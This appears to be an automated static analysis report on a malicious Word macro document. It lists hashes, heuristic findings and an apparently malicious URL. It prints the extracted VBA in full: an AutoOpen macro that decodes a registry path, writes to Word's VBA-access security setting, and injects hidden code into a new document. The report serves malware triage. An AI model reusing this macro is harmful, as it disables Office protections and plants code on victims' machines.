Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 582ac27850c574c9…

MALICIOUS

Office (OOXML)

169.0 KB Created: 2021-04-28 05:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 4afd9f3bf61779f70827acef28f8a682 SHA-1: 35cd836fe6878988ca404ef74a9790892de397e4 SHA-256: 582ac27850c574c9b5597b2b22fb6acb96971d54ee0806d03c265f0947876fd4
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    trustButton.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memoryArrayListbox
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set leftValue = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://palmer2012-taxi.com/bijol/nEW0PZBTdsFHRwfD/VrROMjos/98557/YFe8Z5JAzsUVju7BiqbA9XslWjMR/vAdTtvp214U/gjaKxJ46TKlqLsby8skPtQY5KcRGqCcstHIKmxBp4JBo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2907 bytes
SHA-256: 3670a2916f2b15117d86b83279ff4d983ffe49865139096424aef4574a041315
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C5F5ECB7-3EE7-44F4-8C16-CDA0E16E03A4}{CCC44137-8D9C-4049-95DE-6316DA95D5B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "deleteException"
Sub autoopen()
pasteMain
Dim tableDatabase As String
tableDatabase = screenGlobalRight
convertBuffer tableDatabase
End Sub

Attribute VB_Name = "globalTmp"
Function AConst(counterGlobal As String) As Variant
Dim leftValue As Object
Dim localCounterQuery As Object
Set leftValue = CreateObject("msxml2.domdocument")
Set localCounterQuery = leftValue.createElement("code")
localCounterQuery.DataType = "bin.base64"
localCounterQuery.Text = counterGlobal
AConst = localCounterQuery.nodeTypedValue
End Function
Function namespaceTableMain(valueTmpTmp, rightProcedureRequest)
namespaceTableMain = StrConv(valueTmpTmp, rightProcedureRequest)
End Function

Attribute VB_Name = "memGlobalListbox"
Sub convertBuffer(memoryArrayListbox As String)
Set libRepoData = CreateObject("word.application")
Set trustButton = libRepoData.Documents.Add
trustButton.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memoryArrayListbox
libRepoData.Visible = False
libRepoData.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "ptrOptionRef"
Function listSelectRef() As String
listSelectRef = Application.Version
End Function
Function textboxIterator()
textboxIterator = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function databaseViewWindow()
databaseViewWindow = "cript.sh"
End Function
Function ptrArrayMem()
ptrArrayMem = "VjdXJpdHlcQWN"
End Function
Sub pasteMain()
vbLocal = namespaceTableMain(AConst("SEtFWV9DVVJSR" & textboxIterator & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
exceptionBorder = listSelectRef
genericValueTitle = namespaceTableMain(AConst("XFdvcmRcU2" & ptrArrayMem & "jZXNzVkJPTQ=="), vbUnicode)
pointerNextArgument = vbLocal & exceptionBorder & genericValueTitle
With CreateObject("ws" & databaseViewWindow & "ell")
.RegWrite pointerNextArgument, 1, "REG_DWORD"
End With
End Sub
Public Function linkCopyBuf(ByVal libMemory As String) As String
For memoryLocalMem = 1 To Len(libMemory) Step 2
storageGlobalCount = Chr$(Val("&H" & Mid$(libMemory, memoryLocalMem, 2)))
swapRepoPtr = swapRepoPtr & storageGlobalCount
Next memoryLocalMem
linkCopyBuf = swapRepoPtr
End Function
Function screenGlobalRight()
screenGlobalRight = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 71cf63474a05b6e56f537d57bdd25df02f4fca66ebab3a17fa7d576a529ffdfd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).